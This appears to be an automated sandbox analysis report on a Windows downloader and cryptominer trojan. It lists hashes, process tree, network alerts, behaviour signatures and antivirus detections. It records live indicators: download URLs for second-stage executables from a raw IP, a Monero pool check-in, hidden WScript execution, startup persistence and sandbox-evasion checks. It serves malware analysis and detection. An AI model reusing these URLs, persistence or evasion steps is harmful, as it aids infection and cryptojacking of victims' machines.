Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	April 24, 2021, 6 p.m.	April 24, 2021, 6:05 p.m.

Size	11.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`2cf6144870e0ba1a5290316435125321`
SHA256	`59efa7f3af975532fe4da3d5653933fddb06fffa847190bc967c9c0ebfe10741`
CRC32	`3DC89665`
ssdeep	`192:A29BE9u+1nTN+qs9sdmXkC7iQIW1YPhzuHv9E/vhEJ0CT+lNK:3iu+d4qs9z0C7i9hzuHv9EXh4T+lN`
PDB Path	C:\Users\JOHN\source\repos\WindowsApp1\WindowsApp1\obj\Debug\WindowsApp1.pdb
Yara	PE_Header_Zero - PE File Signature Zero Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT IsPE32 - (no description) IsNET_EXE - (no description) IsWindowsGUI - (no description) HasDebugData - DebugData Check

ntdw1.exe "C:\Users\test22\AppData\Local\Temp\ntdw1.exe"
1896
- Tempbds.exe "C:\Users\test22\AppData\Local\Tempbds.exe"
  2256
  - notepad.exe "C:\Windows\notepad.exe" -c "C:\ProgramData\LKBNMTFJgl\cfgi"
    2112
  - cmd.exe cmd.exe /C WScript "C:\ProgramData\LKBNMTFJgl\r.vbs"
    1240
    - wscript.exe WScript "C:\ProgramData\LKBNMTFJgl\r.vbs"
      1768

Name	Response	Post-Analysis Lookup
pool.supportxmr.com	A 91.121.140.167 A 94.23.247.226 CNAME pool-fr.supportxmr.com A 37.187.95.110 A 94.23.23.52 A 149.202.83.171	94.23.23.52

IP Address	Status	Action
149.202.83.171	Active	Moloch
164.124.101.2	Active	Moloch
45.144.225.135	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49199 -> 45.144.225.135:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.101:49199 -> 45.144.225.135:80	2016702	ET HUNTING Suspicious csrss.exe in URI	Potentially Bad Traffic
TCP 45.144.225.135:80 -> 192.168.56.101:49199	2014819	ET INFO Packed Executable Download	Misc activity
TCP 45.144.225.135:80 -> 192.168.56.101:49199	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 45.144.225.135:80 -> 192.168.56.101:49199	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 45.144.225.135:80 -> 192.168.56.101:49199	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.101:49206 -> 149.202.83.171:3333	2024792	ET POLICY Cryptocurrency Miner Checkin	Potential Corporate Privacy Violation
TCP 192.168.56.101:49202 -> 45.144.225.135:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 45.144.225.135:80 -> 192.168.56.101:49202	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 45.144.225.135:80 -> 192.168.56.101:49202	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 24, 2021, 6 p.m.			0	0
IsDebuggerPresent April 24, 2021, 6 p.m.			0	0

This executable has a PDB path (1 event)

pdb_path

C:\Users\JOHN\source\repos\WindowsApp1\WindowsApp1\obj\Debug\WindowsApp1.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 24, 2021, 6 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (3 events)

suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://45.144.225.135/csrss.exe
suspicious_features	Connection to IP address	suspicious_request	GET http://45.144.225.135/config.txt
suspicious_features	Connection to IP address	suspicious_request	GET http://45.144.225.135/notepad.exe

Performs some HTTP requests (3 events)

request	GET http://45.144.225.135/csrss.exe
request	GET http://45.144.225.135/config.txt
request	GET http://45.144.225.135/notepad.exe

Allocates read-write-execute memory (usually to unpack itself) (22 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 region_size: 1966080 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00870000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72741000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72742000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 region_size: 983040 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a40000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00522000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00555000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0055b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00557000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0053c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00546000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0052a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0054a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00547000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6:01 p.m.	process_identifier: 2256 region_size: 1916928 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03820000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 2112 region_size: 81920 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000380000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6 p.m.	process_identifier: 2112 region_size: 131072 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002340000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6:01 p.m.	process_identifier: 2112 region_size: 131072 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002ae0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 24, 2021, 6:01 p.m.	process_identifier: 2112 region_size: 131072 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002db0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 24, 2021, 6:03 p.m.	process_identifier: 1768 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72a52000 process_handle: 0xffffffff	1

A process attempted to delay the analysis task. (1 event)

description

Tempbds.exe tried to sleep 222 seconds, actually delayed analysis time by 222 seconds

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Tempbds.exe

Creates a suspicious process (1 event)

cmdline

cmd.exe /C WScript "C:\ProgramData\LKBNMTFJgl\r.vbs"

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW April 24, 2021, 6:01 p.m.	thread_identifier: 1292 thread_handle: 0x00000284 process_identifier: 1240 current_directory: filepath: track: 1 command_line: cmd.exe /C WScript "C:\ProgramData\LKBNMTFJgl\r.vbs" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x00000280	1	1	0

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (8 events)

Time & API	Arguments	Status	Return
Process32NextW April 24, 2021, 6 p.m.	snapshot_handle: 0x000000c8 process_name: pw.exe process_identifier: 1552	1	1
Process32NextW April 24, 2021, 6 p.m.	snapshot_handle: 0x000000c8 process_name: 珊 process_identifier: 6761664		0
Process32NextW April 24, 2021, 6 p.m.	snapshot_handle: 0x0000028c process_name: notepad.exe process_identifier: 2112	1	1
Process32NextW April 24, 2021, 6 p.m.	snapshot_handle: 0x0000028c process_name: taskhost.exe process_identifier: 1296	1	1
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000288 process_name: cmd.exe process_identifier: 1240	1	1
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000288 process_name: inject-x86.exe process_identifier: 2312	1	1
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000230 process_name: cmd.exe process_identifier: 1444	1	1
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000230 process_name: conhost.exe process_identifier: 2800	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses April 24, 2021, 6 p.m.	flags: 15 family: 0		111	0

An executable file was downloaded by the process tempbds.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
InternetReadFile April 24, 2021, 6 p.m.	buffer: MZÿÿ¸@Àº´ Í!¸LÍ!This program cannot be run in DOS mode. $2°ëvÑ,vÑ,vÑ,õÍ,wÑ,Î,lÑ,Î,wÑ,RichvÑ,PEL3ô~`à0 °¸+@ @ð³,¤' (Ð °0 (.textp$ 0 `.data$@ @ @À.rsrc°Ð P @@¼ç¨^MSVBVM60.DLL request_handle: 0x00cc000c	1	1	0

Repeatedly searches for a not-found process, you may want to run a web browser during analysis (36 events)

Time & API	Arguments	Status	Return	Repeated
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000284 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000284 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000284 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000284 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000284 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000284 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000284 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000284 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000284 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000284 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000284 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000284 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000284 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000280 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000280 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000230 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000230 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000230 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000230 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000230 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000230 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000230 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000230 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:01 p.m.	snapshot_handle: 0x00000230 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:02 p.m.	snapshot_handle: 0x00000214 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:02 p.m.	snapshot_handle: 0x00000214 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:02 p.m.	snapshot_handle: 0x00000214 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:02 p.m.	snapshot_handle: 0x00000214 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:02 p.m.	snapshot_handle: 0x00000214 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:02 p.m.	snapshot_handle: 0x00000214 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:02 p.m.	snapshot_handle: 0x00000214 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:02 p.m.	snapshot_handle: 0x00000214 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:02 p.m.	snapshot_handle: 0x00000250 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:02 p.m.	snapshot_handle: 0x00000250 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:02 p.m.	snapshot_handle: 0x00000250 process_name: taskhost.exe process_identifier: 1296		0	0
Process32NextW April 24, 2021, 6:02 p.m.	snapshot_handle: 0x00000250 process_name: taskhost.exe process_identifier: 1296		0	0

Communicates with host for which no DNS query was performed (1 event)

host

45.144.225.135

Installs itself for autorun at Windows startup (1 event)

file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\viTRMUuKeV.url

Created a service where a service was also not started (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateServiceW April 24, 2021, 6 p.m.	service_start_name: start_type: 3 password: display_name: WinRing0_1_2_0 filepath: C:\Windows\WinRing0x64.sys service_name: WinRing0_1_2_0 filepath_r: C:\Windows\WinRing0x64.sys desired_access: 983551 service_handle: 0x0000000000be7c80 error_control: 1 service_type: 1 service_manager_handle: 0x0000000000be7ad0	1	12483712	0

The process wscript.exe wrote an executable file to disk (1 event)

file	C:\Windows\SysWOW64\wscript.exe

File has been identified by 47 AntiVirus engines on VirusTotal as malicious (47 events)

Elastic	malicious (high confidence)
Cynet	Malicious (score: 100)
McAfee	RDN/Generic Downloader.x
Cylance	Unsafe
Sangfor	Trojan.Win32.Save.a
K7AntiVirus	Trojan-Downloader ( 005798a51 )
Alibaba	Trojan:Win32/Miner.d6f21ee3
K7GW	Trojan-Downloader ( 005798a51 )
CrowdStrike	win/malicious_confidence_70% (W)
Arcabit	Trojan.Generic.D23109E6
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of MSIL/TrojanDownloader.Small.CLG
APEX	Malicious
Paloalto	generic.ml
Kaspersky	Trojan.Win32.Miner.auuln
BitDefender	Trojan.GenericKD.36768230
NANO-Antivirus	Trojan.Win32.Miner.iuhoru
ViRobot	Trojan.Win32.Z.Downloader.11264.A
MicroWorld-eScan	Trojan.GenericKD.36768230
Avast	Win32:Trojan-gen
Ad-Aware	Trojan.GenericKD.36768230
Emsisoft	Trojan-Downloader.Small (A)
DrWeb	Trojan.Siggen12.56619
Zillya	Trojan.Miner.Win32.12523
McAfee-GW-Edition	RDN/Generic Downloader.x
FireEye	Generic.mg.2cf6144870e0ba1a
Sophos	Mal/Generic-S
Ikarus	Win32.Outbreak
Avira	TR/Downloader.Gen
Kingsoft	Win32.Troj.Undef.(kcloud)
Gridinsoft	Trojan.Win32.Downloader.sa
Microsoft	Backdoor:Win32/Bladabindi!ml
AegisLab	Trojan.Win32.Miner.4!c
ZoneAlarm	Trojan.Win32.Miner.auuln
GData	Win32.Trojan-Downloader.Generic.M2KAVL
AhnLab-V3	Trojan/Win.Generic.C4387213
VBA32	TScope.Trojan.MSIL
MAX	malware (ai score=100)
Malwarebytes	Malware.AI.1417145416
TrendMicro-HouseCall	TrojanSpy.Win32.MALXMR.USMANDK21
Rising	Downloader.Small!8.B41 (CLOUD)
SentinelOne	Static AI - Malicious PE
eGambit	Unsafe.AI_Score_86%
Fortinet	Riskware/Miner
AVG	Win32:Trojan-gen
Cybereason	malicious.f7bcbe
Panda	Trj/Downloader.FUM

ntdw1.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All